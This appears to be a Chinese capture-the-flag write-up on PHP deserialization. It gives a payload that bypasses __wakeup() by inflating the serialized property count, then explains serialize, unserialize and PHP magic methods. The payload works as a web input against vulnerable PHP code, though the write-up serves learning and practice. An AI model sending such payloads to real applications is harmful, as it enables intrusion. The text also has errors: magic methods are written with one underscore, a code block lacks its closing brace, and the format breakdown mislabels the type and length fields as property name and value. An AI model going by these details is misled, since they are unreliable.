class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
分析上述代码,发现:_wakeup()
考虑反序列化
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>
得到:
即:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
又因为_wakeup(),要求被序列化的对象属性个数要大于原来的1
则构造:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag
class a{
public $flag = '111';
}
$b = new a();
echo serialize($b);
?>
结果是:
O:1:"a":1:{s:4:"flag";s:3:"111";}
即:
上述结果可分析为:
序列对象:o - object
被序列化的类的名称的长度: 1
被序列化的类的名称:"a"
被序列化的对象的属性个数:1
属性名:s
属性值:4
_sleep()
与_wakeup()
这两个方法是在对象的序列化与反序列化里使用的。
当序列化serialize对象时,可以把对象里的属性和方法转换成连续的bytes数据,保存在一个文件里或者在网络上传输;
当需要使用这个对象时,就可以反序列化unserialize这个字符串,得到这个对象,然后继续使用。
当对一个对象序列化时,php就会调用_sleep()
方法(如果存在的话);
在反序列化时,php就会调用_wakeup()
方法(如果存在的话)。
_sleep()
这个方法可以用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。
在反序列化unserialize时,会检查是否存在_wakeup()
方法,如果存在,则会调用_wakeup()
方法,预先准备对象数据。
_sleep()
方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
_wakeup()
经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
为了绕过_wakeup()
,我们会将序列化的对象的属性个数
的值加大,超过规定数来进行绕过。
PHP中以两个下划线开头的方法,_construct()
, _destruct ()
, _call()
,_callStatic()
,_get()
,_set()
,_isset()
, _unset ()
, _sleep()
, _wakeup()
, _toString()
, _set_state()
, _clone()
,_autoload()
等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能.
与序列化和反序列化的魔术方法主要是:
_construct() //当一个对象创建时被调用
_destruct() //对象被销毁时触发
_wakeup() //使用unserialize时触发
_sleep() //使用serialize时触发
_toString() //把类当做字符串时触发
_get() //用于从不可访问的属性读取数据
_set() //用于将数据写入不可访问的属性